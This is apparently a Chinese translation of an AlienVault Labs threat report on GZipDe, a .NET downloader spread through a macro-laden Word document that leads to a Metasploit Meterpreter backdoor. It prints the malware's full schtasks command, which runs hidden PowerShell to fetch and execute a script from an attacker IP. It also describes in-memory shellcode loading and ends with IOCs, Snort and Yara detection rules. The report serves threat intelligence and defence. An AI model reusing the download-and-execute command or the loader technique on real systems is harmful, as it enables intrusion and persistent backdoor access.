GZipDe:为Metasploit服务的加密下载程序

阅读量    34325 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter


5月底,一家中东新闻网站发表了一篇关于下一届上海合作组织峰会的文章。一周前,AlienVault实验室发现了一份新的针对该地区的恶意文件。它使用从报告中提取的一段文本作为诱饵:

这是涉及多个服务器和工件的多阶段感染的第一步。虽然最终目标似乎是安装Metasploit后门程序,但是我们发现了一个有趣的.NET下载程序,它使用自定义加密方法来混淆进程内存并逃避防病毒检测。

 

恶意文件

该文件是由阿富汗用户上传到VirusTotal的,包含嵌入宏恶意软件的微软MS Office Word文档(.doc)。当打开时,它执行一个存储为十六进制流的Visual Basic脚本,并在一个隐藏的Powershell控制台中执行一个新任务:

‘C:WindowsSystem32schtasks.exe’ /Create /sc MINUTE /MO 1 /TN WindowsUpdate /TR ‘Powershell -W Hidden (New-Object System.Net.WebClient).DownloadFile(\’http://118.193.251[.]137/dropbox/?p=BT67HU78HZ\’,\’$env:publicsvchost325.vbs\’);(New-Object -com Shell.Application).ShellExecute(\’$env:publicsvchost325.vbs\’);’ /F

利用HTTP请求,它解析为以下URL

http://118.193.251[.]137/dropbox/?p=BT67HU78HZ

由于服务器现在处于离线状态,因此我们缺少了感染链的下一步。

基于共同的路径,我们认为这个文件是相关的,并且可能是后面感染步骤的一部分:http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe

 

GZipDe – 加密的下载程序

恶意软件的内部名称是Gzipde,正如它在攻击者设备上构建的路径所指定的那样:

Documents Visual Studio 2008 Projects gzipde gzipde obj Debug gzipde.pdb

我们在GitHub发现了原始的反向TCP有效载荷,尽管攻击者在该版本上增加了一层额外的加密有效载荷。它由名为GZipDeBase64字符串组成,GZipDe是一个压缩后使用对称密钥算法进行自定义加密的字符串,可能会避免防病毒检测。

该密钥被描述为一个字节数组,其值为:

解压后,它通过一个解密程序。使用的加密方法是RC4,密钥长度为23个字节。

恶意软件分配一个新的内存页,具有执行、读和写权限。然后它复制解密的有效载荷的内容,并启动一个新的线程来执行它。

该脚本使用WaitForSingleObject C#类,这意味着程序访问互斥对象。一个特殊的处理程序控制进程对系统资源的访问。这可以防止同一恶意软件的多个实例同时运行,不必要地增加资源使用率并产生更多的网络噪音。

有效载荷包含shellcode,该代码在175.194.42[.]8上与服务器联系 。当服务器没有启动时,Shodan 记录了它服务于Metasploit的有效载荷:

Metasploit正成为有针对性攻击热门选择。

 

Metasploit有效载荷

服务器,175.194.42[.]8,交付了一个Metasploit的有效载荷。它包含绕过系统检测的shellcode(因为它看起来有一个有效的DOS标头)和一个Meterpreter有效载荷)——一个有能力的后门。例如,它可以从系统中收集信息,并联系命令和控制服务器以接收进一步的命令。

这个shellcode将整个DLL加载到内存中,所以它可以在没有信息写入磁盘的情况下运行。这个操作被称为反射DLL注入(Reflective DLL injection)。从这一点来看,攻击者可以传输任何其他有效载荷,以获得提升的权限并在本地网络内移动。

 

附录

文件哈希值

https://otx.alienvault.com/indicator/file/faf003c38758cf70b12bc4899714833e4713096c8f66163e753b3f0e70f2ba28 
https://otx.alienvault.com/indicator/file/148d280586de3a62d366c396c8bfedd6683a2e3eb1c3d956da57dbfc19d1983c 
https://otx.alienvault.com/indicator/file/3932999be863d5844168e3bbb09ffc2f8d572a8f4a93946adb7e9c438f35c711

IP地址

118.193.251[.]137

175.194.42[.]8

URLs

http://118.193.251[.]137/dropbox/filesfhjdfkjsjdkfjsdkfjsdfjksdfjsdkfasdfjnadsfjnasdnj/utorrent.exe

http://118.193.251[.]137/dropbox/?p=BT67HU78HZ

网络检测

多用途

AV ATTACK_RESPONSE Metasploit Reverse Shell Verification (Echo)
ET ATTACK_RESPONSE Metasploit/Meterpreter – Sending metsrv.dll to Compromised Host
ET ATTACK_RESPONSE Metasploit Meterpreter Reverse HTTPS certificate

专用

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe MacroMalware CnC Checkin”; flow:established,to_server; content:”/dropbox/?p=”; http_uri; depth:12; content:!”User-Agent|3a| “; http_header; content:!”Referer”; http_header; pcre:”^//dropbox/?p=[a-zA-Z0-9]*$/U”; reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity; sid:xxx; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”AV TROJAN GZipDe MacroMalware Payload Request”; flow:established,to_server; content:”/dropbox/file”; depth:13; http_uri; content:”.exe”; http_uri; distance:0; isdataat:!1,relative; content:!”User-Agent|3a| “; http_header; content:!”Referer”; http_header; reference:md5,951d9f3320da660593930d3425a9271b; classtype:trojan-activity; sid:xxx; rev:1;)

统一安全管理(USM)关联规则

系统妥协代码执行Office Word创建的Powershell进程
交付和攻击可疑下载通过Office宏下载文件
环境意识代码执行可疑的PowerShell参数

Yara规则

rule gzipde_hunt {
    meta:
         author = "AlienVault Labs"
         description = "Hunt rule to identify files related to Gzipde"
         copyright = "Alienvault Inc. 2018"
         reference = "https://otx.alienvault.com/pulse/5b239254174e5d5edab34e05"
   strings:
    $a = "118.193.251.137" nocase wide ascii
     $b = "BT67HU78HZ" nocase wide ascii
     $c = "2E0EB747-BE46-441A-A8B1-97AB27B49EC5" nocase wide ascii
     $d = "gzipde.pdb" nocase wide ascii
     $e = "C:\Users\jhon\Documents\Visual Studio 2008" nocase wide ascii
   condition:
     any of them
 }
  import "dotnet"
 rule MeterpreterEncryptedPayloadDotNetGzipDE {
             meta:
                         type = "malware"
                         description = "GZipDe"
                         author = "jblasco@alienvault.com"
                         reference1 = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp/blob/master/NativePayload_Reverse_tcp.cs"
                         reference2= "https://otx.alienvault.com/indicator/file/33c03d94f75698fac6a39a5a6c328c2be4a079717520e0ec411597b9ca3a9bef"
             strings:
                         $pdb = "gzipde.pdb"
                         $st1 = "PAGE_EXECUTE_READWRITE"
                         $st2 = "EncryptInitalize"
                         $st3 = "EncryptOutput"
                         $st4 = "CreateThread"
                         $st5 = "VirtualAlloc"
             condition:
                         uint16(0) == 0x5A4D and
                         ((dotnet.typelib == "c1181bc0-0102-44e9-82ba-7c1ca7d24219" and
                         dotnet.guids[0] == "2e0eb747-be46-441a-a8b1-97ab27b49ec5") or
                         $pdb or
                         (dotnet.number_of_modulerefs == 1 and
                         dotnet.modulerefs[0] == "kernel32" and
                         all of ($st*)))
 }

审核人:yiwang   编辑:边边

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多